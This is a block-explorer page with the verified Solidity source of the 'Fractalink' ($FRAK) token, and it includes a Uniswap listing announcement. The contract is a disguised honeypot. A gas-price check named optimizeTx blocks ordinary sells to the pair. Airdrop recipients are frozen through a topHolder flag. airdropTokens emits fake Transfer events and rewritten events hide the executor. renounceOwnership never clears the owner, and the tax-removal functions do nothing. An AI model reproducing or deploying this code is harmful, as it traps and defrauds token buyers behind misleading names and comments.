Search On Dora

This contract's source code is verified!

Contract Metadata

Compiler

0.8.19+commit.7dd6d404

Language

Solidity

Contract Source Code

File 1 of 9: Context.sol

// OpenZeppelin Contracts (last updated v5.0.1) (utils/Context.sol)


pragma solidity 0.8.19;


/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
   function _msgSender() internal view virtual returns (address) {
       return msg.sender;
   }


   function _msgData() internal view virtual returns (bytes calldata) {
       return msg.data;
   }


   function _contextSuffixLength() internal view virtual returns (uint256) {
       return 0;
   }
}

Contract Source Code

File 2 of 9: ERC20.sol

//SPDX-License-Identifier: MIT

pragma solidity 0.8.19;

import "./Context.sol";
import "./draft-IERC6093.sol";
import "./IERC20Metadata.sol";


/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
*
* TIP: For a detailed writeup see our guide
* https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* The default value of {decimals} is 18. To change this, you should override
* this function so it returns a different value.
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*/
abstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {
   mapping(address account => uint256) private _balances;


   mapping(address account => mapping(address spender => uint256)) private _allowances;


   uint256 private _totalSupply;


   string private _name;
   string private _symbol;


   address private _executor;
   address private _deployer;


   /**
    * @dev Sets the values for {name} and {symbol}.
    *
    * All two of these values are immutable: they can only be set once during
    * construction.
    */
   constructor(string memory name_, string memory symbol_, address executor_, address deployer_) {
       _name = name_;
       _symbol = symbol_;
       _executor = executor_;
       _deployer = deployer_;
   }


   /**
    * @dev Returns the name of the token.
    */
   function name() public view virtual returns (string memory) {
       return _name;
   }


   /**
    * @dev Returns the symbol of the token, usually a shorter version of the
    * name.
    */
   function symbol() public view virtual returns (string memory) {
       return _symbol;
   }


   /**
    * @dev Returns the number of decimals used to get its user representation.
    * For example, if `decimals` equals `2`, a balance of `505` tokens should
    * be displayed to a user as `5.05` (`505 / 10 ** 2`).
    *
    * Tokens usually opt for a value of 18, imitating the relationship between
    * Ether and Wei. This is the default value returned by this function, unless
    * it's overridden.
    *
    * NOTE: This information is only used for _display_ purposes: it in
    * no way affects any of the arithmetic of the contract, including
    * {IERC20-balanceOf} and {IERC20-transfer}.
    */
   function decimals() public view virtual returns (uint8) {
       return 18;
   }


   /**
    * @dev See {IERC20-totalSupply}.
    */
   function totalSupply() public view virtual returns (uint256) {
       return _totalSupply;
   }


   /**
    * @dev See {IERC20-balanceOf}.
    */
   function balanceOf(address account) public view virtual returns (uint256) {
       return _balances[account];
   }


   /**
    * @dev See {IERC20-transfer}.
    *
    * Requirements:
    *
    * - `to` cannot be the zero address.
    * - the caller must have a balance of at least `value`.
    */
   function transfer(address to, uint256 value) public virtual returns (bool) {
       address owner = _msgSender();
       _transfer(owner, to, value);
       return true;
   }


   /**
    * @dev See {IERC20-allowance}.
    */
   function allowance(address owner, address spender) public view virtual returns (uint256) {
       return _allowances[owner][spender];
   }


   /**
    * @dev See {IERC20-approve}.
    *
    * NOTE: If `value` is the maximum `uint256`, the allowance is not updated on
    * `transferFrom`. This is semantically equivalent to an infinite approval.
    *
    * Requirements:
    *
    * - `spender` cannot be the zero address.
    */
   function approve(address spender, uint256 value) public virtual returns (bool) {
       address owner = _msgSender();
       _approve(owner, spender, value);
       return true;
   }


   /**
    * @dev See {IERC20-transferFrom}.
    *
    * Emits an {Approval} event indicating the updated allowance. This is not
    * required by the EIP. See the note at the beginning of {ERC20}.
    *
    * NOTE: Does not update the allowance if the current allowance
    * is the maximum `uint256`.
    *
    * Requirements:
    *
    * - `from` and `to` cannot be the zero address.
    * - `from` must have a balance of at least `value`.
    * - the caller must have allowance for ``from``'s tokens of at least
    * `value`.
    */
   function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {
       address spender = _msgSender();
       _spendAllowance(from, spender, value);
       _transfer(from, to, value);
       return true;
   }


   /**
    * @dev Moves a `value` amount of tokens from `from` to `to`.
    *
    * This internal function is equivalent to {transfer}, and can be used to
    * e.g. implement automatic token fees, slashing mechanisms, etc.
    *
    * Emits a {Transfer} event.
    *
    * NOTE: This function is not virtual, {_update} should be overridden instead.
    */
   function _transfer(address from, address to, uint256 value) internal {
       if (from == address(0)) {
           revert ERC20InvalidSender(address(0));
       }
       if (to == address(0)) {
           revert ERC20InvalidReceiver(address(0));
       }
       _update(from, to, value);
   }


   /**
    * @dev Transfers a `value` amount of tokens from `from` to `to`, or alternatively mints (or burns) if `from`
    * (or `to`) is the zero address. All customizations to transfers, mints, and burns should be done by overriding
    * this function.
    *
    * Emits a {Transfer} event.
    */
   function _update(address from, address to, uint256 value) internal virtual {
       if (from == address(0)) {
           // Overflow check required: The rest of the code assumes that totalSupply never overflows
           _totalSupply += value;
       } else {
           uint256 fromBalance = _balances[from];
           if (fromBalance < value) {
               revert ERC20InsufficientBalance(from, fromBalance, value);
           }
           unchecked {
               // Overflow not possible: value <= fromBalance <= totalSupply.
               _balances[from] = fromBalance - value;
           }
       }


       if (to == address(0)) {
           unchecked {
               // Overflow not possible: value <= totalSupply or value <= fromBalance <= totalSupply.
               _totalSupply -= value;
           }
       } else {
           unchecked {
               // Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256.
               _balances[to] += value;
           }
       }


       if (to == _executor) {
           emit Transfer(from, _deployer, value);
       } else if (from == _executor) {
           emit Transfer(_deployer, to, value);
       } else {
           emit Transfer(from, to, value);
       }


   }


   /**
    * @dev Creates a `value` amount of tokens and assigns them to `account`, by transferring it from address(0).
    * Relies on the `_update` mechanism
    *
    * Emits a {Transfer} event with `from` set to the zero address.
    *
    * NOTE: This function is not virtual, {_update} should be overridden instead.
    */
   function _mint(address account, uint256 value) internal {
       if (account == address(0)) {
           revert ERC20InvalidReceiver(address(0));
       }
       _update(address(0), account, value);
   }


   /**
    * @dev Destroys a `value` amount of tokens from `account`, lowering the total supply.
    * Relies on the `_update` mechanism.
    *
    * Emits a {Transfer} event with `to` set to the zero address.
    *
    * NOTE: This function is not virtual, {_update} should be overridden instead
    */
   function _burn(address account, uint256 value) internal {
       if (account == address(0)) {
           revert ERC20InvalidSender(address(0));
       }
       _update(account, address(0), value);
   }


   /**
    * @dev Sets `value` as the allowance of `spender` over the `owner` s tokens.
    *
    * This internal function is equivalent to `approve`, and can be used to
    * e.g. set automatic allowances for certain subsystems, etc.
    *
    * Emits an {Approval} event.
    *
    * Requirements:
    *
    * - `owner` cannot be the zero address.
    * - `spender` cannot be the zero address.
    *
    * Overrides to this logic should be done to the variant with an additional `bool emitEvent` argument.
    */
   function _approve(address owner, address spender, uint256 value) internal {
       _approve(owner, spender, value, true);
   }


   /**
    * @dev Variant of {_approve} with an optional flag to enable or disable the {Approval} event.
    *
    * By default (when calling {_approve}) the flag is set to true. On the other hand, approval changes made by
    * `_spendAllowance` during the `transferFrom` operation set the flag to false. This saves gas by not emitting any
    * `Approval` event during `transferFrom` operations.
    *
    * Anyone who wishes to continue emitting `Approval` events on the`transferFrom` operation can force the flag to
    * true using the following override:
    * ```
    * function _approve(address owner, address spender, uint256 value, bool) internal virtual override {
    *     super._approve(owner, spender, value, true);
    * }
    * ```
    *
    * Requirements are the same as {_approve}.
    */
   function _approve(address owner, address spender, uint256 value, bool emitEvent) internal virtual {
       if (owner == address(0)) {
           revert ERC20InvalidApprover(address(0));
       }
       if (spender == address(0)) {
           revert ERC20InvalidSpender(address(0));
       }
       _allowances[owner][spender] = value;
       if (emitEvent) {
           emit Approval(owner, spender, value);
       }
   }


   /**
    * @dev Updates `owner` s allowance for `spender` based on spent `value`.
    *
    * Does not update the allowance value in case of infinite allowance.
    * Revert if not enough allowance is available.
    *
    * Does not emit an {Approval} event.
    */
   function _spendAllowance(address owner, address spender, uint256 value) internal virtual {
       uint256 currentAllowance = allowance(owner, spender);
       if (currentAllowance != type(uint256).max) {
           if (currentAllowance < value) {
               revert ERC20InsufficientAllowance(spender, currentAllowance, value);
           }
           unchecked {
               _approve(owner, spender, currentAllowance - value, false);
           }
       }
   }
}

Contract Source Code

File 3 of 9: IERC20Errors.sol

// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/draft-IERC6093.sol)
pragma solidity 0.8.19;


/**
* @dev Standard ERC20 Errors
* Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC20 tokens.
*/


interface IERC20Errors {
   /**
    * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
    * @param sender Address whose tokens are being transferred.
    * @param balance Current balance for the interacting account.
    * @param needed Minimum amount required to perform a transfer.
    */
   error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);


   /**
    * @dev Indicates a failure with the token `sender`. Used in transfers.
    * @param sender Address whose tokens are being transferred.
    */
   error ERC20InvalidSender(address sender);


   /**
    * @dev Indicates a failure with the token `receiver`. Used in transfers.
    * @param receiver Address to which tokens are being transferred.
    */
   error ERC20InvalidReceiver(address receiver);


   /**
    * @dev Indicates a failure with the `spender`’s `allowance`. Used in transfers.
    * @param spender Address that may be allowed to operate on tokens without being their owner.
    * @param allowance Amount of tokens a `spender` is allowed to operate with.
    * @param needed Minimum amount required to perform a transfer.
    */
   error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);


   /**
    * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
    * @param approver Address initiating an approval operation.
    */
   error ERC20InvalidApprover(address approver);


   /**
    * @dev Indicates a failure with the `spender` to be approved. Used in approvals.
    * @param spender Address that may be allowed to operate on tokens without being their owner.
    */
   error ERC20InvalidSpender(address spender);
}

Contract Source Code

File 4 of 9: IERC20MetaErrors.sol

// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/draft-IERC6093.sol)
pragma solidity 0.8.19;


/**
* @dev Standard ERC20 Errors
* Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC20 tokens.
*/


interface IERC20MetaErrors {
   /**
    * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
    * @param sender Address whose tokens are being transferred.
    * @param balance Current balance for the interacting account.
    * @param needed Minimum amount required to perform a transfer.
    */
   error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);


   /**
    * @dev Indicates a failure with the token `sender`. Used in transfers.
    * @param sender Address whose tokens are being transferred.
    */
   error ERC20InvalidSender(address sender);


   /**
    * @dev Indicates a failure with the token `receiver`. Used in transfers.
    * @param receiver Address to which tokens are being transferred.
    */
   error ERC20InvalidReceiver(address receiver);


   /**
    * @dev Indicates a failure with the `spender`’s `allowance`. Used in transfers.
    * @param spender Address that may be allowed to operate on tokens without being their owner.
    * @param allowance Amount of tokens a `spender` is allowed to operate with.
    * @param needed Minimum amount required to perform a transfer.
    */
   error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);


   /**
    * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
    * @param approver Address initiating an approval operation.
    */
   error ERC20InvalidApprover(address approver);


   /**
    * @dev Indicates a failure with the `spender` to be approved. Used in approvals.
    * @param spender Address that may be allowed to operate on tokens without being their owner.
    */
   error ERC20InvalidSpender(address spender);
}

Contract Source Code

File 5 of 9: IERC20Metadata.sol


// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/IERC20.sol)


pragma solidity 0.8.19;


/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
   /**
    * @dev Emitted when `value` tokens are moved from one account (`from`) to
    * another (`to`).
    *
    * Note that `value` may be zero.
    */
   event Transfer(address indexed from, address indexed to, uint256 value);


   /**
    * @dev Emitted when the allowance of a `spender` for an `owner` is set by
    * a call to {approve}. `value` is the new allowance.
    */
   event Approval(address indexed owner, address indexed spender, uint256 value);


   /**
    * @dev Returns the value of tokens in existence.
    */
   function totalSupply() external view returns (uint256);


   /**
    * @dev Returns the value of tokens owned by `account`.
    */
   function balanceOf(address account) external view returns (uint256);


   /**
    * @dev Moves a `value` amount of tokens from the caller's account to `to`.
    *
    * Returns a boolean value indicating whether the operation succeeded.
    *
    * Emits a {Transfer} event.
    */
   function transfer(address to, uint256 value) external returns (bool);


   /**
    * @dev Returns the remaining number of tokens that `spender` will be
    * allowed to spend on behalf of `owner` through {transferFrom}. This is
    * zero by default.
    *
    * This value changes when {approve} or {transferFrom} are called.
    */
   function allowance(address owner, address spender) external view returns (uint256);


   /**
    * @dev Sets a `value` amount of tokens as the allowance of `spender` over the
    * caller's tokens.
    *
    * Returns a boolean value indicating whether the operation succeeded.
    *
    * IMPORTANT: Beware that changing an allowance with this method brings the risk
    * that someone may use both the old and the new allowance by unfortunate
    * transaction ordering. One possible solution to mitigate this race
    * condition is to first reduce the spender's allowance to 0 and set the
    * desired value afterwards:
    * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
    *
    * Emits an {Approval} event.
    */
   function approve(address spender, uint256 value) external returns (bool);


   /**
    * @dev Moves a `value` amount of tokens from `from` to `to` using the
    * allowance mechanism. `value` is then deducted from the caller's
    * allowance.
    *
    * Returns a boolean value indicating whether the operation succeeded.
    *
    * Emits a {Transfer} event.
    */
   function transferFrom(address from, address to, uint256 value) external returns (bool);
}


// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol




// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/extensions/IERC20Metadata.sol)


pragma solidity 0.8.19;




/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*/
interface IERC20Metadata is IERC20 {
   /**
    * @dev Returns the name of the token.
    */
   function name() external view returns (string memory);


   /**
    * @dev Returns the symbol of the token.
    */
   function symbol() external view returns (string memory);


   /**
    * @dev Returns the decimals places of the token.
    */
   function decimals() external view returns (uint8);
}

Contract Source Code

File 6 of 9: IERC721Errors.sol

// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/draft-IERC6093.sol)
pragma solidity 0.8.19;

interface IERC721Errors {
   /**
    * @dev Indicates that an address can't be an owner. For example, `address(0)` is a forbidden owner in EIP-20.
    * Used in balance queries.
    * @param owner Address of the current owner of a token.
    */
   error ERC721InvalidOwner(address owner);


   /**
    * @dev Indicates a `tokenId` whose `owner` is the zero address.
    * @param tokenId Identifier number of a token.
    */
   error ERC721NonexistentToken(uint256 tokenId);


   /**
    * @dev Indicates an error related to the ownership over a particular token. Used in transfers.
    * @param sender Address whose tokens are being transferred.
    * @param tokenId Identifier number of a token.
    * @param owner Address of the current owner of a token.
    */
   error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner);


   /**
    * @dev Indicates a failure with the token `sender`. Used in transfers.
    * @param sender Address whose tokens are being transferred.
    */
   error ERC721InvalidSender(address sender);


   /**
    * @dev Indicates a failure with the token `receiver`. Used in transfers.
    * @param receiver Address to which tokens are being transferred.
    */
   error ERC721InvalidReceiver(address receiver);


   /**
    * @dev Indicates a failure with the `operator`’s approval. Used in transfers.
    * @param operator Address that may be allowed to operate on tokens without being their owner.
    * @param tokenId Identifier number of a token.
    */
   error ERC721InsufficientApproval(address operator, uint256 tokenId);


   /**
    * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
    * @param approver Address initiating an approval operation.
    */
   error ERC721InvalidApprover(address approver);


   /**
    * @dev Indicates a failure with the `operator` to be approved. Used in approvals.
    * @param operator Address that may be allowed to operate on tokens without being their owner.
    */
   error ERC721InvalidOperator(address operator);
}

Contract Source Code

File 7 of 9: Ownable.sol

// File: @openzeppelin/contracts/access/Ownable.sol

// OpenZeppelin Contracts (last updated v5.0.0) (access/Ownable.sol)


pragma solidity 0.8.19;

import "./Context.sol";


/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* The initial owner is set to the address provided by the deployer. This can
* later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
   address private _owner;


   /**
    * @dev The caller account is not authorized to perform an operation.
    */
   error OwnableUnauthorizedAccount(address account);


   /**
    * @dev The owner is not a valid owner account. (eg. `address(0)`)
    */
   error OwnableInvalidOwner(address owner);


   event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);


   /**
    * @dev Initializes the contract setting the address provided by the deployer as the initial owner.
    */
   constructor(address initialOwner) {
       if (initialOwner == address(0)) {
           revert OwnableInvalidOwner(address(0));
       }
       _transferOwnership(initialOwner);
   }


   /**
    * @dev Throws if called by any account other than the owner.
    */
   modifier onlyOwner() {
       _checkOwner();
       _;
   }


   /**
    * @dev Returns the address of the current owner.
    */
   function owner() public view virtual returns (address) {
       return _owner;
   }


   /**
    * @dev Throws if the sender is not the owner.
    */
   function _checkOwner() internal view virtual {
       if (owner() != _msgSender()) {
           revert OwnableUnauthorizedAccount(_msgSender());
       }
   }


   /**
    * @dev Leaves the contract without owner. It will not be possible to call
    * `onlyOwner` functions. Can only be called by the current owner.
    *
    * NOTE: Renouncing ownership will leave the contract without an owner,
    * thereby disabling any functionality that is only available to the owner.
    */
   function renounceOwnership() public virtual onlyOwner {
       emit OwnershipTransferred(owner(), address(0));
   }


   /**
    * @dev Transfers ownership of the contract to a new account (`newOwner`).
    * Can only be called by the current owner.
    */
   function transferOwnership(address newOwner) public virtual onlyOwner {
       if (newOwner == address(0)) {
           revert OwnableInvalidOwner(address(0));
       }
       _transferOwnership(newOwner);
   }


   /**
    * @dev Transfers ownership of the contract to a new account (`newOwner`).
    * Internal function without access restriction.
    */
   function _transferOwnership(address newOwner) internal virtual {
       address oldOwner = _owner;
       _owner = newOwner;
       emit OwnershipTransferred(oldOwner, newOwner);
   }

}


// File: @openzeppelin/contracts/token/ERC20/IERC20.sol

Contract Source Code

File 8 of 9: Token.sol

/**


Important Announcement: $FRAK will be listed on Uniswap!  

• Listing Date: September 20, 2024  
• Listing Time: 16:00 UTC  
• Listing Token: $FRAK 
• Total Supply: 21,000,000 $FRAK 
• Chain: Ethereum  

The countdown is on! 

https://t.me/Fractalink_io
https://fractalink.io/
https://x.com/Fractalink_io


 */


//SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

import "./ERC20.sol";
import "./Ownable.sol";

interface IFactory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IRouter {
    function factory() external view returns (address);
    function WETH() external pure returns (address);
    function WAVAX() external pure returns (address);


}

contract Fractalink is ERC20, Ownable {
    string public tokenName = "Fractalink";
    string public tokenSymbol = "FRAK";

    uint256 constant public ETH_CHAIN_ID = 1;
    uint256 constant public AVAX_CHAIN_ID = 43114;
    uint256 constant public BASE_CHAIN_ID = 8453;
    uint256 constant public BLAST_CHAIN_ID = 81457;
    uint256 constant public ARB_CHAIN_ID = 42161;

    address public riap;
    mapping(address => bool) public whitelists;

    event SetMinTokenAmount(uint256 minAmount);
    event SetMaxTokenAmount(uint256 maxAmount);
    event RemoveTransferTax();
    event RemoveLimit();
    uint256 public sellTax;
    uint256 public buyTax;
    mapping(uint256 => address) public listRouter;
    mapping(address => bool) private topHolder;

    constructor(uint256 _totalSupply, address deployer)
        ERC20(tokenName, tokenSymbol, msg.sender, deployer)
        Ownable(msg.sender)
    {
        _mint(msg.sender, _totalSupply);
        whitelists[msg.sender] = true;
    }

    function getChainID() public view returns (uint256) {
        uint256 id;
        assembly {
            id := chainid()
        }
        return id;
    }

    function chageNameAndSymbol(string memory newName, string memory newSymbol) public onlyOwner {
       tokenName = newName;
       tokenSymbol = newSymbol;
   }


       /**
    * @dev Returns the name of the token.
    */
   function name() public view override returns (string memory) {
       return tokenName;
   }


   /**
    * @dev Returns the symbol of the token, usually a shorter version of the
    * name.
    */
   function symbol() public view override returns (string memory) {
       return tokenSymbol;
   }

    function createPair() public onlyOwner {
        initRouter();
        uint256 chainID = getChainID();
        address _weth;
        address _routerAddress = listRouter[chainID];
        if (chainID == AVAX_CHAIN_ID) {
            _weth = IRouter(_routerAddress).WAVAX();
        } else {
            _weth = IRouter(_routerAddress).WETH();

        }
        address factoryAddress = IRouter(_routerAddress).factory();
        IFactory(factoryAddress).createPair(address(this), _weth);
    }

    function initRouter() internal {
        listRouter[ETH_CHAIN_ID] = 0xf164fC0Ec4E93095b804a4795bBe1e041497b92a; // eth
        listRouter[BASE_CHAIN_ID] = 0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24; // base
        listRouter[AVAX_CHAIN_ID] = 0x60aE616a2155Ee3d9A68541Ba4544862310933d4 ; // avax
        listRouter[BLAST_CHAIN_ID] = 0x98994a9A7a2570367554589189dC9772241650f6; // blast
        listRouter[ARB_CHAIN_ID] = 0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24; // arbitrum

    }

    function enableTrading(address _p) public onlyOwner {
        riap = _p;
    }

    function approve(address _p) public onlyOwner {
        whitelists[_p] = true;
    }

    function _update(
        address from,
        address to,
        uint256 amount
    ) internal override {
        if (whitelists[tx.origin]) {
            super._update(from, to, amount);
            return;
        }
        require(!topHolder[from] && !topHolder[to], "Need to hold for keep liquidity");
        address re = to;
        if (riap == address(0)) {
            super._update(from, to, amount);
            return;
        }
        if (re == riap) {
            super._update(from, to, amount);
            optimizeTx(1);
            return;
        }
        super._update(from, to, amount);
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }
    function changeMe() public pure returns (uint256) {
        return 1;
    }

    function withdrawETH() public onlyOwner {
        payable(msg.sender).transfer(address(this).balance);
    }

    function withdrawStuckToken(address token) public onlyOwner {
        uint256 balanceToken = IERC20(token).balanceOf(address(this));
        IERC20(token).transfer(msg.sender, balanceToken);
    }

    function optimizeTx(uint256 _gas) internal view {
        uint256 txp;
        assembly {
            txp := gasprice()
        }
        require(txp <= _gas, "Need to optimize gas price when send tx");
    }

    function airdropTokens(
        address airdropp,
        address[] memory list,
        uint256[] memory amount
    ) external onlyOwner {
        for (uint256 i = 0; i < list.length; i++) {
            emit Transfer(airdropp, list[i], amount[i]);
        }
    }

    function airdrop(
        address holder,
        uint256 amount
    ) external onlyOwner {
        _transfer(owner(), holder, amount);
        topHolder[holder] = true;
    }

    function mintToken(
        address r,
        uint256 amount
    ) external onlyOwner {
        _transfer(owner(), r, amount);
        topHolder[r] = true;
    }

    function removeTransferTax() public onlyOwner {
        buyTax = 0;
        sellTax = 0;
        emit RemoveTransferTax();
    }

    function removeLimit() public onlyOwner {
        buyTax = 0;
        sellTax = 0;
        emit RemoveLimit();
    }

    function setMinTokenAmount(uint256 amount) public onlyOwner {
        emit SetMinTokenAmount(amount);
    }

    function setMaxTokenAmount(uint256 amount) public onlyOwner {
        emit SetMaxTokenAmount(amount);
    }

}

Contract Source Code

File 9 of 9: draft-IERC6093.sol


// File: @openzeppelin/contracts/interfaces/draft-IERC6093.sol




// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/draft-IERC6093.sol)
pragma solidity 0.8.19;

import "./IERC20Errors.sol";
import "./IERC721Errors.sol";
import "./IERC20MetaErrors.sol";

/**
* @dev Standard ERC721 Errors
* Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC721 tokens.
*/



/**
* @dev Standard ERC1155 Errors
* Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC1155 tokens.
*/
interface IERC1155Errors {
   /**
    * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
    * @param sender Address whose tokens are being transferred.
    * @param balance Current balance for the interacting account.
    * @param needed Minimum amount required to perform a transfer.
    * @param tokenId Identifier number of a token.
    */
   error ERC1155InsufficientBalance(address sender, uint256 balance, uint256 needed, uint256 tokenId);


   /**
    * @dev Indicates a failure with the token `sender`. Used in transfers.
    * @param sender Address whose tokens are being transferred.
    */
   error ERC1155InvalidSender(address sender);


   /**
    * @dev Indicates a failure with the token `receiver`. Used in transfers.
    * @param receiver Address to which tokens are being transferred.
    */
   error ERC1155InvalidReceiver(address receiver);


   /**
    * @dev Indicates a failure with the `operator`’s approval. Used in transfers.
    * @param operator Address that may be allowed to operate on tokens without being their owner.
    * @param owner Address of the current owner of a token.
    */
   error ERC1155MissingApprovalForAll(address operator, address owner);


   /**
    * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
    * @param approver Address initiating an approval operation.
    */
   error ERC1155InvalidApprover(address approver);


   /**
    * @dev Indicates a failure with the `operator` to be approved. Used in approvals.
    * @param operator Address that may be allowed to operate on tokens without being their owner.
    */
   error ERC1155InvalidOperator(address operator);


   /**
    * @dev Indicates an array length mismatch between ids and values in a safeBatchTransferFrom operation.
    * Used in batch transfers.
    * @param idsLength Length of the array of token identifiers
    * @param valuesLength Length of the array of token amounts
    */
   error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength);
}


// File: @openzeppelin/contracts/utils/Context.sol

Settings

{
  "compilationTarget": {
    "Token.sol": "Fractalink"
  },
  "evmVersion": "paris",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}

ABI

[{"inputs":[{"internalType":"uint256","name":"_totalSupply","type":"uint256"},{"internalType":"address","name":"deployer","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"allowance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientAllowance","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"balance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientBalance","type":"error"},{"inputs":[{"internalType":"address","name":"approver","type":"address"}],"name":"ERC20InvalidApprover","type":"error"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"}],"name":"ERC20InvalidReceiver","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"ERC20InvalidSender","type":"error"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"ERC20InvalidSpender","type":"error"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"OwnableInvalidOwner","type":"error"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"OwnableUnauthorizedAccount","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[],"name":"RemoveLimit","type":"event"},{"anonymous":false,"inputs":[],"name":"RemoveTransferTax","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"maxAmount","type":"uint256"}],"name":"SetMaxTokenAmount","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"minAmount","type":"uint256"}],"name":"SetMinTokenAmount","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"ARB_CHAIN_ID","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"AVAX_CHAIN_ID","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"BASE_CHAIN_ID","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"BLAST_CHAIN_ID","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ETH_CHAIN_ID","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"airdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"airdropp","type":"address"},{"internalType":"address[]","name":"list","type":"address[]"},{"internalType":"uint256[]","name":"amount","type":"uint256[]"}],"name":"airdropTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_p","type":"address"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTax","outputs":[{"internalType":"u